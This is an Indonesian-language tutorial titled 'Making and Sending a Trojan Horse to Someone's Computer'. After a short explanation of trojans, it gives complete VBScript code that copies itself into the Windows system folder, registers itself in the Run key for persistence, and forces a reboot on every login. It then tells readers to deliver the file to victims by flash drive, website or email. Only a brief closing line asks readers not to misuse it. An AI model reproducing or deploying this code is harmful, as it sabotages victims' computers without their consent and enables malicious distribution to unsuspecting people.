Membuat Dan Mengirim Trojan Horse Ke Komputer Orang

                   Trojan Horse bukanlah sebuah virus, dikarenakan trojan horse tidak memiliki kemampuan untuk menggandakan diri. Namun trojan horse lebih berbahaya di banding dengan virus. Trojan bisa berupa program perusak maupun program kendali, contoh trojan misalnya KaHt, Back Orifice  dan Netbus.  Apabila korban sudak terkena salah satu program ini maka apabila korban terhubung ke jaringan atau internet, si pengirim trojan dapat mengendalikan komputer korban dari jauh, karena trojan membuka port-port tertentu agar komputer dapat di remote, bahkan tidak mustahil bisa mematikan atau merusak komputer dari jauh. 

Anda Bisa membuat Trojan Horse dengan Notepad

1.Untuk pembuatan dari notepad, copy semua Link dibawah ini:

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

2. simpan dengan format .vbs contoh trojan.vbs dan jangan lupa dibawahnya pilih All files

3. virus akan berjalan dengan mengklik 2 kali

             Untuk mengirim ke korban , anda dapat mengirimnya dari flasdisk, website , e-mail , Dll dengan keahlian Anda.

PERINGATAN !

(Mohon Jangan Disalah Gunakan)